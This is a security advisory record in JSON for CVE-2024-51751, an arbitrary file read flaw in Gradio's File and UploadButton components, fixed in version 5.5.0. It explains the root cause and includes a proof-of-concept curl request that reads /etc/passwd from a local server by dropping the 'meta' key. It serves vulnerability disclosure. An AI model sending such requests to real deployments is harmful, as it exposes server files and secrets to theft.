{"id":"CVE-2024-51751","aliases":["GHSA-rhm9-gp5p-5248","PYSEC-2024-275"],"url":"https://o3.security/vulnerability/CVE-2024-51751","summary":"Arbitrary file read with File and UploadButton components in Gradio","details":"### Summary\nIf File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server.\n\n### Details\nConsider the following application where a user can upload a file and preview its content:\n```\nimport gradio as gr\n\ndef greet(value: bytes):\n    return str(value)\n\ndemo = gr.Interface(fn=greet, inputs=gr.File(type=\"binary\"), outputs=\"textbox\")\n\nif __name__ == \"__main__\":\n    demo.launch()\n```\n\nIf we run this application and make the following request (which attempts to read the `/etc/passwd` file)\n```\ncurl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{\"data\":[{\"path\":\"/etc/passwd\",\"orig_name\":\"test.txt\",\"size\":4,\"mime_type\":\"text/plain\",\"meta\":{\"_type\":\"gradio.FileData\"}}],\"event_data\":null,\"fn_index\":0,\"trigger_id\":8,\"session_hash\":\"mnv42s5gt7\"}'\n```\n\nThen this results in the following error on the server\n\n```\ngradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user.\n``` \n\nThis is expected. However, if we now remove the `\"meta\":{\"_type\":\"gradio.FileData\"}` from the request:\n```\ncurl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{\"data\":[{\"path\":\"/etc/passwd\",\"orig_name\":\"test.txt\",\"size\":4,\"mime_type\":\"text/plain\"}],\"event_data\":null,\"fn_index\":0,\"trigger_id\":8,\"session_hash\":\"mnv42s5gt7\"}'\n```\nThis doesn't cause an error and results in the content of /etc/passwd being shown in the response!\n\n\nThis works because Gradio relies on the `processing_utils.async_move_files_to_cache` to sanitize all incoming file paths in all inputs. This function performs the following operation\n```\n    return await client_utils.async_traverse(\n        data, _move_to_cache, client_utils.is_file_obj_with_meta\n    )\n```\nwhere `client_utils.is_file_obj_with_meta` is used as a filter which tells on which inputs to perform the `_move_to_cache` function (which also performs the allowed/disallowed check on the file path). The problem is that `client_utils.is_file_obj_with_meta` is not guaranteed to trigger for every input that contains a file path:\n\n```\ndef is_file_obj_with_meta(d) -> bool:\n    \"\"\"\n    Check if the given value is a valid FileData object dictionary in newer versions of Gradio\n    where the file objects include a specific \"meta\" key, e.g.\n    {\n        \"path\": \"path/to/file\",\n        \"meta\": {\"_type: \"gradio.FileData\"}\n    }\n    \"\"\"\n    return (\n        isinstance(d, dict)\n        and \"path\" in d\n        and isinstance(d[\"path\"], str)\n        and \"meta\" in d\n        and d[\"meta\"].get(\"_type\", \"\") == \"gradio.FileData\"\n    )\n```\n\nFor example, as in the PoC, the file path won't be checked if the `meta` key is not present in the request or if `_type` is not `gradio.FileData`.\n\nThen, the path remains under control of the attacker and is used to read a file in `_process_single_file` function in `file.py` and `upload_button.py` (and possibly other places)\n\n### PoC\nAs described above, run the following Gradio app\n\n```\nimport gradio as gr\n\ndef greet(value: bytes):\n    return str(value)\n\ndemo = gr.Interface(fn=greet, inputs=gr.File(type=\"binary\"), outputs=\"textbox\")\n\nif __name__ == \"__main__\":\n    demo.launch()\n```\n\nAnd make the following request\n```\ncurl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{\"data\":[{\"path\":\"/etc/passwd\",\"orig_name\":\"test.txt\",\"size\":4,\"mime_type\":\"text/plain\"}],\"event_data\":null,\"fn_index\":0,\"trigger_id\":8,\"session_hash\":\"mnv42s5gt7\"}'\n```\n\n### Impact\nArbitrary file read in specific Gradio applications that use File or UploadButton components to upload files and echo/preview the content to the user.","published":"2024-11-06T19:11:38.731Z","modified":"2026-08-12T03:51:19.876196329Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"gradio","fixedVersion":"5.5.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/51xxx/CVE-2024-51751.json"},{"type":"ADVISORY","url":"https://github.com/gradio-app/gradio/security/advisories/GHSA-rhm9-gp5p-5248"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-51751"},{"type":"PACKAGE","url":"https://github.com/gradio-app/gradio"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2024-275.yaml"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:19.876196329Z"}}